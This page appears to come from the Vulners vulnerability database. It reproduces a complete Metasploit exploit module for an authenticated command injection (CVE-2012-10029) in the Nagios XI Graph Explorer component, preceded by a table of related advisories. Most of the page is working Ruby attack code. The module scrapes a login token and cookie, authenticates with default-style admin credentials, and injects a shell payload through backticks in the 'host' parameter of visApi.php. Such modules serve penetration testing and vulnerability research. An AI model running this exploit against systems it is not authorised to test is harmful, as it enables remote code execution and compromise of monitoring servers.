Nagios XI Network Monitor Graph Explorer Component Command Injection
🗓️ 30 Nov 2012 00:00:00Reported by Daniel Compton <[email protected]>, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 18 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2012-10029 | 5 Aug 202520:03 | – | attackerkb | |
| CVE-2012-10029 | 29 May 201815:50 | – | circl | |
| Nagios XI Network Monitor 安全漏洞 | 5 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10029 | 5 Aug 202520:03 | – | cve | |
| CVE-2012-10029 Nagios XI Network Monitor Graph Explorer Component < 1.3 Authenticated Command Injection | 5 Aug 202520:03 | – | cvelist | |
| EUVD-2012-6575 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10029 | 5 Aug 202520:15 | – | nvd | |
| PT-2025-31981 · Nagios Enterprises · Graph Explorer +1 | 5 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10029 | 7 Aug 202520:31 | – | redhatcve | |
| CVE-2012-10029 Nagios XI Network Monitor Graph Explorer Component < 1.3 Authenticated Command Injection | 5 Aug 202520:03 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Nagios XI Network Monitor's
component 'Graph Explorer'. An authenticated user can execute system commands
by injecting it in several parameters, such as in visApi.php's 'host' parameter,
which results in remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'Daniel Compton <daniel.compton[at]ngssecure.com>', # Original discovery
'sinn3r'
],
'References' => [
[ 'CVE', '2012-10029' ],
[ 'OSVDB', '83552' ],
[ 'BID', '54263' ],
[ 'PACKETSTORM', '118497' ]
],
'Payload' => {
'BadChars' => "\x00\x0d\x0a",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python ruby telnet',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [
['Graph Explorer Component prior to 1.3', {}]
],
'Privileged' => false,
'DisclosureDate' => '2012-11-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
# URI isn't registered, because this is set by the installer.
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'The password to use'])
]
)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
})
if res and res.code == 404
vprint_error("Remote host does not have Graph Explorer installed.")
elsif res and res.body =~ /Your session has timed out/
return Exploit::CheckCode::Detected('The target service was detected')
end
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
def get_login_data
res = send_request_cgi({ 'uri' => '/nagiosxi/login.php' })
return '' if !res
nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
cookie = res.get_cookies.scan(/nagiosxi=(\w+); /).flatten[0] || ''
return nsp, cookie
end
def is_loggedin(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/index.php',
'cookie' => "nagiosxi=#{cookie}"
})
if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
return true
else
return false
end
end
def login(nsp, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => '/nagiosxi/login.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_post' => {
'nsp' => nsp,
'page' => 'auth',
'debug' => '',
'pageopt' => 'login',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginButton' => 'Login'
},
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/nagiosxi/login.php"
}
})
return is_loggedin(cookie)
end
def exploit
nsp, cookie = get_login_data
if nsp.empty?
print_error("Unable to retrieve hidden value 'nsp'")
return false
end
if login(nsp, cookie)
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
else
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
return
end
print_status("Sending Command injection")
send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_get' => {
'type' => 'stack',
'host' => "localhost`#{payload.encoded}`",
'service' => 'Swap_Usage',
'div' => 'visContainer1566841654',
'opt' => 'days'
}
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Nov 2012 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 48.6
EPSS0.02512
SSVC